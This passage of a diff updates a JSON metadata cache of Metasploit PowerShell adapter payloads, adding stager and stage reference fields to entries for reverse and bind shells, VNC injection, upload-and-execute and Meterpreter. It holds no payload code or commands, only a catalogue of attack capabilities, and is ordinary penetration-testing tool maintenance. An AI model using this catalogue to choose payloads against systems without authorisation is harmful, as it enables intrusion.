"session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/bind_named_pipe", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_named_pipe" }, "payload_cmd/windows/powershell/upexec/bind_nonx_tcp": { "name": "Powershell Exec, Windows Upload/Execute, Bind TCP Stager (No NX or Win7)", @@ -199786,7 +202734,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/bind_nonx_tcp", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_nonx_tcp" }, "payload_cmd/windows/powershell/upexec/bind_tcp": { "name": "Powershell Exec, Windows Upload/Execute, Bind TCP Stager (Windows x86)", @@ -199824,7 +202778,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/bind_tcp", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_tcp" }, "payload_cmd/windows/powershell/upexec/bind_tcp_rc4": { "name": "Powershell Exec, Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -199864,7 +202824,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_tcp_rc4" }, "payload_cmd/windows/powershell/upexec/bind_tcp_uuid": { "name": "Powershell Exec, Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)", @@ -199902,7 +202868,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_tcp_uuid" }, "payload_cmd/windows/powershell/upexec/find_tag": { "name": "Powershell Exec, Windows Upload/Execute, Find Tag Ordinal Stager", @@ -199939,7 +202911,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/find_tag", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/findtag_ord" }, "payload_cmd/windows/powershell/upexec/reverse_ipv6_tcp": { "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (IPv6)", @@ -199977,7 +202955,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/reverse_ipv6_tcp", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_ipv6_tcp" }, "payload_cmd/windows/powershell/upexec/reverse_nonx_tcp": { "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)", @@ -200013,7 +202997,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/reverse_nonx_tcp", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_nonx_tcp" }, "payload_cmd/windows/powershell/upexec/reverse_ord_tcp": { "name": "Powershell Exec, Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)", @@ -200050,7 +203040,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/reverse_ord_tcp", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_ord_tcp" }, "payload_cmd/windows/powershell/upexec/reverse_tcp": { "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager", @@ -200088,7 +203084,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/reverse_tcp", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_tcp" }, "payload_cmd/windows/powershell/upexec/reverse_tcp_allports": { "name": "Powershell Exec, Windows Upload/Execute, Reverse All-Port TCP Stager", @@ -200126,7 +203128,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/reverse_tcp_allports", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_tcp_allports" }, "payload_cmd/windows/powershell/upexec/reverse_tcp_dns": { "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (DNS)", @@ -200165,7 +203173,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/reverse_tcp_dns", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_tcp_dns" }, "payload_cmd/windows/powershell/upexec/reverse_tcp_rc4": { "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -200205,7 +203219,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_tcp_rc4" }, "payload_cmd/windows/powershell/upexec/reverse_tcp_rc4_dns": { "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", @@ -200245,7 +203265,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/reverse_tcp_rc4_dns", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_tcp_rc4_dns" }, "payload_cmd/windows/powershell/upexec/reverse_tcp_uuid": { "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager with UUID Support", @@ -200283,7 +203309,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_tcp_uuid" }, "payload_cmd/windows/powershell/upexec/reverse_udp": { "name": "Powershell Exec, Windows Upload/Execute, Reverse UDP Stager with UUID Support", @@ -200320,7 +203352,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/reverse_udp", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_udp" }, "payload_cmd/windows/powershell/vncinject/bind_hidden_ipknock_tcp": { "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", @@ -200359,7 +203397,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/bind_hidden_ipknock_tcp", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_hidden_ipknock_tcp" }, "payload_cmd/windows/powershell/vncinject/bind_hidden_tcp": { "name": "Powershell Exec, Hidden Bind TCP Stager", @@ -200398,7 +203442,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/bind_hidden_tcp", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_hidden_tcp" }, "payload_cmd/windows/powershell/vncinject/bind_ipv6_tcp": { "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", @@ -200436,7 +203486,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_ipv6_tcp" }, "payload_cmd/windows/powershell/vncinject/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", @@ -200475,7 +203531,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_ipv6_tcp_uuid" }, "payload_cmd/windows/powershell/vncinject/bind_named_pipe": { "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", @@ -200512,7 +203574,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/bind_named_pipe", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_named_pipe" }, "payload_cmd/windows/powershell/vncinject/bind_nonx_tcp": { "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", @@ -200549,7 +203617,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/bind_nonx_tcp", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_nonx_tcp" }, "payload_cmd/windows/powershell/vncinject/bind_tcp": { "name": "Powershell Exec, Bind TCP Stager (Windows x86)", @@ -200587,7 +203661,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/bind_tcp", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_tcp" }, "payload_cmd/windows/powershell/vncinject/bind_tcp_rc4": { "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -200627,7 +203707,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_tcp_rc4" }, "payload_cmd/windows/powershell/vncinject/bind_tcp_uuid": { "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", @@ -200665,7 +203751,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_tcp_uuid" }, "payload_cmd/windows/powershell/vncinject/find_tag": { "name": "Powershell Exec, Find Tag Ordinal Stager", @@ -200702,7 +203794,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/find_tag", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/findtag_ord" }, "payload_cmd/windows/powershell/vncinject/reverse_hop_http": { "name": "Powershell Exec, Reverse Hop HTTP/HTTPS Stager", @@ -200741,7 +203839,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/reverse_hop_http", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_hop_http" }, "payload_cmd/windows/powershell/vncinject/reverse_http": { "name": "Powershell Exec, Windows Reverse HTTP Stager (wininet)", @@ -200778,7 +203882,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/reverse_http", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_http" }, "payload_cmd/windows/powershell/vncinject/reverse_http_proxy_pstore": { "name": "Powershell Exec, Reverse HTTP Stager Proxy", @@ -200815,7 +203925,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/reverse_http_proxy_pstore", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_http_proxy_pstore" }, "payload_cmd/windows/powershell/vncinject/reverse_ipv6_tcp": { "name": "Powershell Exec, Reverse TCP Stager (IPv6)", @@ -200853,7 +203969,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/reverse_ipv6_tcp", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_ipv6_tcp" }, "payload_cmd/windows/powershell/vncinject/reverse_nonx_tcp": { "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", @@ -200890,7 +204012,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/reverse_nonx_tcp", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_nonx_tcp" }, "payload_cmd/windows/powershell/vncinject/reverse_ord_tcp": { "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", @@ -200927,7 +204055,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/reverse_ord_tcp", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_ord_tcp" }, "payload_cmd/windows/powershell/vncinject/reverse_tcp": { "name": "Powershell Exec, Reverse TCP Stager", @@ -200965,7 +204099,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/reverse_tcp", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_tcp" }, "payload_cmd/windows/powershell/vncinject/reverse_tcp_allports": { "name": "Powershell Exec, Reverse All-Port TCP Stager", @@ -201003,7 +204143,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/reverse_tcp_allports", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_tcp_allports" }, "payload_cmd/windows/powershell/vncinject/reverse_tcp_dns": { "name": "Powershell Exec, Reverse TCP Stager (DNS)", @@ -201042,7 +204188,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/reverse_tcp_dns", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_tcp_dns" }, "payload_cmd/windows/powershell/vncinject/reverse_tcp_rc4": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -201082,7 +204234,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_tcp_rc4" }, "payload_cmd/windows/powershell/vncinject/reverse_tcp_rc4_dns": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", @@ -201122,7 +204280,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/reverse_tcp_rc4_dns", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_tcp_rc4_dns" }, "payload_cmd/windows/powershell/vncinject/reverse_tcp_uuid": { "name": "Powershell Exec, Reverse TCP Stager with UUID Support", @@ -201160,7 +204324,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_tcp_uuid" }, "payload_cmd/windows/powershell/vncinject/reverse_winhttp": { "name": "Powershell Exec, Windows Reverse HTTP Stager (winhttp)", @@ -201198,7 +204368,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/reverse_winhttp", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_winhttp" }, "payload_cmd/windows/powershell/x64/custom/bind_ipv6_tcp": { "name": "Powershell Exec, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager", @@ -201234,7 +204410,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/custom/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, "payload_cmd/windows/powershell/x64/custom/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support", @@ -201271,7 +204453,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/custom/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, "payload_cmd/windows/powershell/x64/custom/bind_named_pipe": { "name": "Powershell Exec, Windows shellcode stage, Windows x64 Bind Named Pipe Stager", @@ -201307,7 +204495,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/custom/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_named_pipe" }, "payload_cmd/windows/powershell/x64/custom/bind_tcp": { "name": "Powershell Exec, Windows shellcode stage, Windows x64 Bind TCP Stager", @@ -201343,7 +204537,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/custom/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_tcp" }, "payload_cmd/windows/powershell/x64/custom/bind_tcp_rc4": { "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -201384,7 +204584,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/custom/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_tcp_rc4" }, "payload_cmd/windows/powershell/x64/custom/bind_tcp_uuid": { "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)", @@ -201421,7 +204627,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/custom/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_tcp_uuid" }, "payload_cmd/windows/powershell/x64/custom/reverse_http": { "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", @@ -201457,7 +204669,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/custom/reverse_http", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_http" }, "payload_cmd/windows/powershell/x64/custom/reverse_https": { "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", @@ -201495,7 +204713,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/custom/reverse_https", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_https" }, "payload_cmd/windows/powershell/x64/custom/reverse_named_pipe": { "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager", @@ -201531,7 +204755,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/custom/reverse_named_pipe", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_named_pipe" }, "payload_cmd/windows/powershell/x64/custom/reverse_tcp": { "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse TCP Stager", @@ -201567,7 +204797,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/custom/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_tcp" }, "payload_cmd/windows/powershell/x64/custom/reverse_tcp_rc4": { "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -201608,7 +204844,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/custom/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, "payload_cmd/windows/powershell/x64/custom/reverse_tcp_uuid": { "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)", @@ -201645,7 +204887,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/custom/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, "payload_cmd/windows/powershell/x64/custom/reverse_winhttp": { "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)", @@ -201681,7 +204929,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/custom/reverse_winhttp", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_winhttp" }, "payload_cmd/windows/powershell/x64/custom/reverse_winhttps": { "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)", @@ -201717,43 +204971,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false - }, - "payload_cmd/windows/powershell/x64/encrypted_shell/reverse_tcp": { - "name": "Powershell Exec, Windows Command Shell, Encrypted Reverse TCP Stager", - "fullname": "payload/cmd/windows/powershell/x64/encrypted_shell/reverse_tcp", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": null, - "type": "payload", - "author": [ - "Spencer McIntyre", - "Matt Graeber", - "Shelby Pace" - ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect to MSF and read in stage", - "references": [ - - ], - "platform": "Windows", - "arch": "cmd", - "rport": null, - "autofilter_ports": null, - "autofilter_services": null, - "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", - "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/encrypted_shell/reverse_tcp", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/custom/reverse_winhttps", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_winhttps" }, "payload_cmd/windows/powershell/x64/exec": { "name": "Powershell Exec, Windows x64 Execute Command", @@ -201788,7 +205012,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/exec", + "staged": false }, "payload_cmd/windows/powershell/x64/loadlibrary": { "name": "Powershell Exec, Windows x64 LoadLibrary Path", @@ -201824,7 +205052,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/loadlibrary", + "staged": false }, "payload_cmd/windows/powershell/x64/messagebox": { "name": "Powershell Exec, Windows MessageBox x64", @@ -201859,7 +205091,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/messagebox", + "staged": false }, "payload_cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp": { "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager", @@ -201897,7 +205133,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/meterpreter/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, "payload_cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager with UUID Support", @@ -201935,7 +205177,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/meterpreter/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, "payload_cmd/windows/powershell/x64/meterpreter/bind_named_pipe": { "name": "Powershell Exec, Windows x64 Bind Named Pipe Stager", @@ -201974,7 +205222,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/meterpreter/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_named_pipe" }, "payload_cmd/windows/powershell/x64/meterpreter/bind_tcp": { "name": "Powershell Exec, Windows x64 Bind TCP Stager", @@ -202012,7 +205266,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/meterpreter/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_tcp" }, "payload_cmd/windows/powershell/x64/meterpreter/bind_tcp_rc4": { "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -202054,7 +205314,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/meterpreter/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_tcp_rc4" }, "payload_cmd/windows/powershell/x64/meterpreter/bind_tcp_uuid": { "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x64)", @@ -202092,7 +205358,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/meterpreter/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_tcp_uuid" }, "payload_cmd/windows/powershell/x64/meterpreter/reverse_http": { "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (wininet)", @@ -202130,7 +205402,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": 